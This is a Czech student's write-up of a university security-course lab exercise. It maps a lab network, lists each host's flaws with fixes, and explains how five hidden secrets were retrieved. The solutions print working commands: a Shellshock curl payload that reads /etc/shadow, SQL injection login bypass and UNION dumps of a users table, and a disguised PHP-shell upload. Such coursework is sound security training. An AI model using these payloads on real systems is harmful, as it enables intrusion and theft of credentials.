BIS Projekt 2024/25

Vypracoval: Bc. Adam Hos (xhosad00)

I. Zmapování středozemně

Prvním úkolem je zmapování dané sítě. K uživatelskému stroji se dá připojit pomocí příkazu `ssh`. Užitím příkazu `ip addr` je možná zjistit následující připojení:

- `eth0 10.89.1.212/24`
- `eth1 10.89.47.2/24`

Neboli stroj je připojený do dvou sítí s těmito adresami.

Kvůli technické chybě nelze vypsat názvy zařízení v síti. Sítě mají následující složení:

Port 22 ssh (Open)

- 10.89.1.156
- 10.89.1.212 (de0bce1672d1 moje připojovací stanice)
- A další SSH stanice (pravděpodobně stroje jiných studentů)

Port 80 http (Open)

- 10.89.1.157 (The Iron Fortress – název z .html nástrojem curl)
- 10.89.1.159 (Mirkwood – název z .html nástrojem curl)

Port 21 ftp (Open)

- 10.89.1.158

II. Zranitelnosti

II.I. 10.89.1.157

- Zranitelnost shell shock přes /cgi-bin/gate
  - Aktualizace bash na nejnovější verzi nebo jiné řešení než /cgi-bin/gate

II.II. 10.89.1.158

- Login pro admina je na serveru 10.89.1.159
  - Odstranění záznamů nebo aspoň hashování hesel.
- Viditelný /etc/shadow
  - Přístup by měl mít pouze root.
- admin a theodon mají stejné heslo (a hash hesla)
  - Nucené silnější hesla.

II.III. 10.89.1.159

- Na `upload.php` je možná uložit php skript (s hlavičkou obrázku a správnými příponami, např. file.jpeg.php)
  - Lepší kontrola MIME typu, lepší REGEX pro jméno souboru.
- `authenticate.php` lze přejít jednoduchým SQL injection, zobrazí tak `list.php`
  - Použití parametrizovaných dotazů místo dynamických sestavených příkazů.
- Na `list.php` lze přes UNION SQL injection, zobrazit data z tabulky users, kde jsou nešifrovaná data
  - Hashování hesel v tabulce.

II.IV. 10.89.1.156

- Na serveru jsem nezjistil žádnou potřebnou zranitelnost pro získání tajemství, stačilo využít konfiguraci v .ssh a použít ssh klíč pro připojení a stáhnout soubor chest.img.

III. Nalezení tajemství

III.I. A

The secret A is hidden deep down in the shadow of the Iron Fortress. Although the gate used to be hard as a shell, nowadays it looks like it could easily crumble from a shock. A marking at the base of the gate shows the number: 2014-6271. It seems like the housekeeper of the Iron Fortress forgot to upgrade the defences of his house.

Jedná se o tajemství na serveru 10.89.1.157. Pomocí příkazu curl jsem si stáhl obsah http stránku. Z ní je možné vyčíst, že obsahuje odkaz na /cgi-bin/gate. S kombinací s tipem 2014-6271 lze odvodit, že jde o zranitelnost shell shock (CVE-2014-6271).

Pomocí `curl` jsem otestoval, že je skutečně možné využít shell shock. Vyzkoušel jsem příkazy jako `ls` a `cat`, ty ale nebyli úspěšné. Místo cat jsem používál:

`while read line; do echo \$line; done < „cesta k souboru/soubor“`, který už fungoval. Zkoušel jsem ho na citlivé soubory a eventuálně jsem narazil na /etc/shadow, kde bylo tajemství A. Také to odpovídá nápovědě z tajemství „deep down in the shadow of the Iron Fortress”.

Příkaz na získání tajemství

```
curl http://10.89.1.157/cgi-bin/gate -H "User-Agent: () { :; }; echo; while read line; do echo \$line; done < /etc/shadow"
```

III.II. B

King of Edoras holds secret B hidden to everyone. He keeps the secret in his private space where only him can access it. Not even his very close elven friend - admin, who shares many secrets with the king - cannot access it. However, while the king keeps an eye on his secret, he may overlook access restrictions to some other important files. Find out how to control his friend - admin - and search some other interesting files to find out, how to bypass the king's guards. Perhaps, you should start gathering other information about his friend somewhere else.

Pravděpodobně se jedná o tajemství na serveru 10.89.1.158 se službou ftp na portu 21. Lze se na něj připojit pomocí `nc 10.89.1.158 2`. Pomocí `nmap 10.89.1.158 21 -A` jsem zjistil, že verze serveru je `vsftpd 2.0.8 or later`, což jsem ale nijak nevyužil.

Díky řešení tajemství D, jsem našel přihlašovací údaje admin iloveyou. Vytvořil jsem si na svém stroji SOCKS5 připojení přes user@bis.fit.vvutbr.cz na FTP server a začal jsem si prohlížet soubory. Po delším hledání jsem zjistil, že v /etc/shadow mají admin a theoden stejný hash hesla (což sedělo s nápovědou v popisu tajemství). Po vyzkoušení stejného hesla „iloveyou“ jako uživatel „theoden“ jsem v jeho domácí složce našel soubor secret.txt, který obsahoval tajemství B

III.III. C

Secret C is easily retrieved from lousy workers at the elven kingdom. They barely check the outside of the incoming packages, let alone the insides. All they do is check the outsides and look on the lable, which describes the insides. Snuck a fake, possibly malicious package - a php script-like payload - through the input checkers and the secret is yours.

Jedná se o tajemství na serveru 10.89.1.159. Pomocí příkazu curl jsem si stáhl obsah http stránky. Je možné se odkázat na authentication.html, který obsahuje formu s jménem a heslem, a upload.html, který má formu pro uložení souboru.

Zkoušel jsem uložit nějaký soubor na upload.php. Zjistil jsem ale, že požaduje MIME typ image. Je tedy potřeba php skript „obalit“ headrem, aby se tvářil jako obrázek. Toho jsem docílil pomocí skriptu:

```
#!/bin/sh
echo -ne '\xFF\xD8\xFF\xE0' > shell.jpeg.php # JPEG header
cat shell.php >> shell.jpeg.php              # Append PHP shell
```

Který obalí soubor shell.php (který neměl nijak zajímavý kód) a uloží ho jako shell.jpeg.php. Tento soubor se mi už povedlo nahrát příkazem:

```
curl  -X POST -F "file=@shell.jpeg.php" http://10.89.1.159/upload.php
```

Potom mi server odpověděl tajemstvím C.

III.IV. D

The dark forest is a place of many webs and bugs, some of them hardly visible. Those who can not find their way should verify themselves to the forest and the way shall be pointed to them. Once you arrive to the right place, perhaps ask not only about items, but about the contents of the previous verification too. Some say the best way to approach this task is through union.

Jedná se o tajemství na serveru 10.89.1.159. Pomocí příkazu curl jsem si stáhl obsah http stránky. Je možné se odkázat na authentication.html, který obsahuje formu s jménem a heslem, a upload.html, který má formu pro uložení souboru.

Z authentication.html je vidět, že při POST je volán skript authenticate.php. Zkusil jsem na něj jednoduchý SQL injection `curl -i -X POST http://10.89.1.159/authenticate.php -d "username=' OR 1=1 --&password=any"` pro přeskočení autentizace, který fungoval. Příkaz se potom odkazoval na list.php?id=0, který po jeho volání příkazem `curl` vypsal list několika elfských věcí jménem Woodelf Items.

V popisu tajemství je zmíněn union, čímž je pravděpodobně myšlen SQL UNION. Ten kombinuje dva nebo více SELECTů do jednoho výsledku, přičemž musí mít stejný počet sloupců. Z formátu dotazu na items je zřejmé, že je dotazováno na 3 sloupce, a to id, name a category. Udělal jsem teda UNION s tabulkou uživatelů. Je potřeba doplnit jeden „dummy“ sloupec a použít GET dotaz:

```
curl http://10.89.1.159/list.php?id=0%20UNION%20SELECT%20username,password,1%20FROM%20users
```

Tím je na konci výsledku tajemství D

Také jsem zjistil zajímavý záznam, který jsem využil v tajemství B:

{"0":"admin","id":"admin","1":"iloveyou","name":"iloveyou","2":1,"category":1}

III.V. E

On thing is for sure - you are always welcome here in the house of Elrond. Your old friend said, that he has an interesting artefact. A chest with a damaged lid - to a common bystander, this chest looks like a junk. But Elrond is very persistent - he knows that the chest hides something.

V domácí složce uživatele jsem našel .ssh, v které jsem následně našel privátní ssh klíč a configuraci pro ssh připojení uživatele elrond využívající tento klíč. Chybělo ale nastavení HostName. Jelikož

v době mého řešení už nebyli dostupné hostname jednotlivých serverů, zkusil jsem se připojit na servery podporující ssh.

Příkazem `ssh -i ~/.ssh/id_rsa elrond@10.89.1.156`, jsem se připojil k servru. Zkusil jsem pomocí příkazu `hostname` zjistit jméno serveru, ale výsledek `a873d388b394` nebyl moc nápomocný.

V „~" složce elronda nebylo nic zajímavého, ale v „/" byla složka `shrine`, jejímž majitelem byl elrond a ve které byly soubory `chest.img` a `binary_outpu.bin`. Pomocí nástroje `binwalk`, jsem zjistil že se v chest.img nachází zip `scroll.xml`. Pro přístup k němu je potřeba heslo. Zjistil jsem, že zip se ve chest.img nachází s offsetem 41943040. Pomocí `dd` jsem si ho extrahoval. Jelikož mi toto zůstalo jako poslední tajemství, použil jsem known plain-text attack s xml hlavičkou `<?xml version="1.0" encoding="UTF-8"?>`. Pomocí nástroje bkcrack jsem potom do minuty zjistil 3 možné klíče a jemi jsem si odemkl zip, opět nástrojem bkcrack. V scroll.xml již pak bylo tajemství E.